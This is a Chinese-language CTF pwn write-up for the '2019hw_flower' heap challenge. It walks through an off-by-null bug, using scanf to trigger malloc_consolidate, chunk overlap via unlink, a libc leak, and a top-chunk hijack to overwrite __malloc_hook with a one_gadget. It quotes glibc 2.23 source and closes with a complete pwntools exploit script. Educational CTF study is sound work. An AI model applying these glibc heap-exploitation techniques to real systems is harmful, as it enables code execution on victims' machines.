【pwn challenge】2019hw_flower

程序

整个程序逻辑很简单。

add 功能中只能申请 < 0x58 大小的 chunk:
在这里插入图片描述
my_read 函数中,当 size 为 0x58 时存在 off by null:
在这里插入图片描述
remove 功能正常

show 函数:
在这里插入图片描述
可以正常泄漏 libc 等。

利用限制和条件
  • chunk size < 0x58,最多申请 6 个
  • off by null
  • 在这里插入图片描述有通过 scanf 接收输入
  • 可以 show
利用思路

由于 size 很小,直接 off by null 会把 size 全踩没,想不到怎么处理,在ex师傅博客里学到了新姿势。
因为 size 限制了大小,只能在 fastbin 范围内申请,而 free 功能正常,布置堆块 off by null 会把 size 踩没,所以不能简单的通过 overlap 修改 fd,那能想到放入 unsorted bin 中的办法只有合并堆块了。
合并堆块的情形是当 top chunk 不够分配时,或者申请一个 large bin,即 size > 0x400 的 chunk 时,就能触发 malloc_consolidate,使 fastbin 合并,并且放入 unsorted bin 中。
而本题中并不能修改 top chunk 的 size 到可以利用的 fake_size,所以只能通过 malloc 一个 large bin 进行触发,这里利用了scanf 的缓冲机制,当 scanf 的缓冲区不够用时,就会 malloc 一块更大的 chunk 来充当新的缓冲区,使用完之后再 free 掉,当我们的输入大于 0x400 时,自然就会申请大于 0x400 的 chunk 来当缓冲区,正是这个申请就可以触发 malloc_consolidate.

for i in range(6):
	add(0x58, i, "i")

for i in range(5):
	dele(i)

add(0x28, 4, '4')

ru(menu)
sl('0'*0x400)

在这里插入图片描述
这里进入 small bin 是因为先进入了 unsorted bin 后遍历其分配 0x400 的 chunk,没有合适的 chunk 进而将其放入对应的 small bin。

接下来就是巧妙的通过 malloc_consolidate 进行 unlink:
通过下面源码分析可以看到合并是从小的 fastbin 开始,然后一直 fb ++ 再将大的 chunk 的进行合并,如果检测到 pre_inuse 位为空,就会通过 pre_size 寻找前块进行 unlink。
现在虽然有了 unsorted bin 可以用了,但是申请不到类似 size=0x100 大小的 chunk,此时就想到和之前 off by null 类似的操作,**先 free 前块进入 unsorted bin,在 nextchunk 留下正确的 pre_size,然后通过 off by null 将 size 的低位覆盖,使原本的 chunk 和 nextchunk 断开,然后在申请一块较小的 chunk(< nextchunk.size),然后在 malloc_consolidate 会先合并这个小块的 chunk,然后在合并 nextchunk,又因为通过其 pre_size 会索引到刚才合并的小块的 chunk,完成 unlink。**然后就可以对中间的 chunk 进行 overlap 了。

if (!prev_inuse(p)) {
	    prevsize = p->prev_size;
	    size += prevsize;
	    p = chunk_at_offset(p, -((long) prevsize));
	    unlink(av, p, bck, fwd);
	  }
add(0x58, 0, "a"*0x50 + p64(0x61)) #0 trigger off by null

add(0x18, 1, '1') #1
add(0x50, 2, '2') #2 overlap
add(0x48, 3, '3') #3 overlap

dele(1)
dele(5) # go to fastbin, ready for consolidate with unlink

add(0x48, 5, '5') # take unsortedbin rest chunk into smallbin, clear unsortedbin
ru(menu)
sl('0'*0x400)

在 nextchunk (#5) 留下正确的 pre_size:
在这里插入图片描述
此时通过 off by null 踩掉 size 低位,和后面 chunk 断开:
在这里插入图片描述
然后同样的手法触发 malloc_consolidate:
在这里插入图片描述
此时完成 unlink

先将 smallbin 申请完,使可以接下来分割合并的 chunk,再 malloc 和之前用于 unlink 的小 chunk 同样大小的 size,libc 地址进入 #2,完成泄漏。

add(0x28, 0, '\n')
add(0x18, 1, '\n')
show(2)

还是因为 size > 0 && size < 0x58 的原因,没法正常通过内存错位申请到 0x7f size 的 chunk 劫持 __malloc_hook,这时可以选择劫持 top chunk,因为紧邻其上的 main_arena 中会存放 fastbin 的堆地址,也就是可以制造 0x56/0x55 的内存错位,恰好绕过本题 size 的限制,malloc 出 main_arena 劫持 top chunk 到 __malloc_hook 上方,完成劫持。

dele(3)
dele(4)
add(0x38, 3, '\n')
add(0x50, 4, '\x00' * 0x10 + p64(0) + p64(0x51) + p64(main_arena_addr + 0xd)) # overlap #3 that can overwrite fd

add(0x48, 1, '\n')

在这里插入图片描述

add(0x48, 0, '\x00' * 0x3b + p64(main_arena_addr - 0x28))

add(0x50, 2, '\n')
add(0x50, 2, '\n')
add(0x50, 2, '\n')

add(0x50, 2, p64(libc_base + 0xf1207) + p64(libc_base + libc.symbols['realloc'] + 20))

将 top chunk 劫持到 main_arena - 0x28 处,这里有一个天然的满足条件的 size:
在这里插入图片描述
然后需要调一下栈帧完成劫持。试着下去即可。
在这里插入图片描述

sla('choice >> \n', '1')
sla('Size : ', str(1))
sla('index: ', str(1))

在这里插入图片描述

源码分析

使用 top chunk 分配不够时 :

// glibc-2.23/malloc/malloc.c:3777行
use_top:
      victim = av->top;
      size = chunksize (victim);

      if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
        {
          ···(从 top chunk 分配)
        }

      /* When we are using atomic ops to free fast chunks we can get
         here for all block sizes.  */
      else if (have_fastchunks (av))
        {
          malloc_consolidate (av);
          /* restore original bin index */
          if (in_smallbin_range (nb))
            idx = smallbin_index (nb);
          else
            idx = largebin_index (nb);
        }

当申请 large bin 时:

// glibc-2.23/malloc/malloc.c:3447行
/*
     If this is a large request, consolidate fastbins before continuing.
     ···
     it is called frequently in otherwise tend to fragment.
   */

  else
    {
      idx = largebin_index (nb);
      if (have_fastchunks (av))
        malloc_consolidate (av);
    }

malloc_consolidate :

// glibc-2.23/malloc/malloc.c:4145行
if (get_max_fast () != 0) {
    clear_fastchunks(av);

    unsorted_bin = unsorted_chunks(av);

    /*
      Remove each chunk from fast bin and consolidate it, placing it
      then in unsorted bin. Among other reasons for doing this,
      placing in unsorted bin avoids needing to calculate actual bins
      until malloc is sure that chunks aren't immediately going to be
      reused anyway.
    */

    maxfb = &fastbin (av, NFASTBINS - 1);
    fb = &fastbin (av, 0);
    do {
      p = atomic_exchange_acq (fb, 0);
      if (p != 0) {
	do {
	  check_inuse_chunk(av, p);
	  nextp = p->fd;

	  /* Slightly streamlined version of consolidation code in free() */
	  size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
	  nextchunk = chunk_at_offset(p, size);
	  nextsize = chunksize(nextchunk);

	  if (!prev_inuse(p)) {
	    prevsize = p->prev_size;
	    size += prevsize;
	    p = chunk_at_offset(p, -((long) prevsize));
	    unlink(av, p, bck, fwd);
	  }

	  if (nextchunk != av->top) {
	    nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

	    if (!nextinuse) {
	      size += nextsize;
	      unlink(av, nextchunk, bck, fwd);
	    } ···

	    first_unsorted = unsorted_bin->fd;
	    unsorted_bin->fd = p;
	    first_unsorted->bk = p;

	    if (!in_smallbin_range (size)) {
	      p->fd_nextsize = NULL;
	      p->bk_nextsize = NULL;
	    }

	    set_head(p, size | PREV_INUSE);
	    p->bk = unsorted_bin;
	    p->fd = first_unsorted;
	    set_foot(p, size);
	  }

	  else {
	    size += nextsize;
	    set_head(p, size | PREV_INUSE);
	    av->top = p;
	  }

	} while ( (p = nextp) != 0);

      }
    } while (fb++ != maxfb);
  }
  else {
    malloc_init_state(av);
    check_malloc_state(av);
  }
完整exp
from pwn import *
import sys

context.log_level = "debug"
elf = ELF("./pwn")

if sys.argv[1] == "p":
	p = process("./pwn")
	# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
	p = remote("chall.pwnable.tw", 10304)
	libc = ELF("./libc_64.so.6")
	# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


DEBUG = 0
if DEBUG:
	gdb.attach(p, 
	'''	
	b *0x08048935
	c
	''')

def dbg():
    gdb.attach(p)
    pause()

se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
rc      = lambda num          		:p.recv(num)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))	
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
info    = lambda tag, addr          :log.info(tag + " -> " + hex(addr))
ia		= lambda                    :p.interactive()

# if sys.argv[1] == "process":
#    one_gadget = libc_base + 0xf02a4
# else:
#    one_gadget = libc_base + 0xef6c4

menu = "choice >> \n"
def cmd(idx):
	ru(menu)
	sl(str(idx))

def add(size, idx, name):
	cmd(1)
	ru("Name of Size : ")
	sl(str(size))
	ru("input index: ")
	sl(str(idx))
	ru("input flower name:\n")
	se(name)

def dele(idx):
	cmd(2)
	ru("input idx :")
	sl(str(idx))

def show(idx):
	cmd(3)
	ru("Input idx : \n")
	sl(str(idx))

for i in range(6):
	add(0x58, i, "i")

for i in range(5):
	dele(i)

add(0x28, 4, '4')

ru(menu)
sl('0'*0x400)

add(0x58, 0, "a"*0x50 + p64(0x61)) #0

add(0x18, 1, '1') #1
add(0x50, 2, '2') #2 overlap
add(0x48, 3, '3') #3 overlap

dele(1)
dele(5)

add(0x48, 5, '5')
ru(menu)
sl('0'*0x400)

add(0x28, 0, '\n')
add(0x18, 1, '\n')
show(2)

ru("flowers : ")
main_arena_addr = u64(ru("\x7f")[-6:].ljust(8, '\x00')) - 0x58
libc_base = main_arena_addr - 0x10 - libc.symbols['__malloc_hook']
info("libc_base", libc_base)
dele(3)
dele(4)

add(0x38, 3, '\n')
add(0x50, 4, '\x00' * 0x10 + p64(0) + p64(0x51) + p64(main_arena_addr + 0xd))

add(0x48, 1, '\n')
dbg()
add(0x48, 0, '\x00' * 0x3b + p64(main_arena_addr - 0x28))

add(0x50, 2, '\n')
add(0x50, 2, '\n')
add(0x50, 2, '\n')

add(0x50, 2, p64(libc_base + 0xf1207) + p64(libc_base + libc.symbols['realloc'] + 20))

sla('choice >> \n', '1')
sla('Size : ', str(1))
sla('index: ', str(1))

ia()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值